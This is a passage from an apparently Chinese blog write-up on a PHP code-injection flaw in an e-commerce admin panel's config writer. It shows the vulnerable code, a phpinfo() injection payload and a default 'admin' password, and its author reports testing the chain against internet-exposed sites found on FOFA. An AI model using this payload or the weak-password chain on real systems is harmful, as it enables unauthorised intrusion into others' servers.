电商平台后台RCE漏洞分析:从弱口令到0day利用

近日,朋友发现某电商平台存在一个高危漏洞,将数据包发给我进行审计。首先使用Seay源代码审计系统对代码包进行自动化扫描,系统报告了300+个潜在漏洞点,我将结果丢给AI,从中筛选出1个最可能被利用的高危远程代码漏洞。

漏洞位置

app/common/logic/admin/config.php文件中的配置写入功能存在代码注入漏洞。

漏洞代码

1
2
3
4
5
6
7
$code = "return [
'url' => '" . $param['m_url'] . "',
'title' => '" . $param['title'] . "',
'map_key' => '" . $param['map_key'] . "'
]";
$code = "<?php\n " . $code . ";";
file_put_contents(config_path() . "site.php", $code);

漏洞原理

该段代码直接将用户输入的参数($param[‘title’]等)拼接至PHP配置文件中,未做任何过滤处理。攻击者可以通过注入PHP代码,实现远程代码执行。
漏洞复现

在后台修改网站标题处输入:.phpinfo().

系统生成的配置文件内容变为:

1
2
3
4
5
6
<?php
return [
'url' => 'http://example.com',
'title' => ''.phpinfo().'',
'map_key' => 'key_value'
];

访问/config/site.php文件即可触发phpinfo()执行。

但该漏洞需要后台权限才能利用,我发现管理员后台账号密码默认为admin。

在FOFA找到百个资产,测试了10个有4个存在弱口令,RCE也验证成功。

因此攻击链可完整形成:

弱口令进入后台 → 利用RCE漏洞获取服务器权限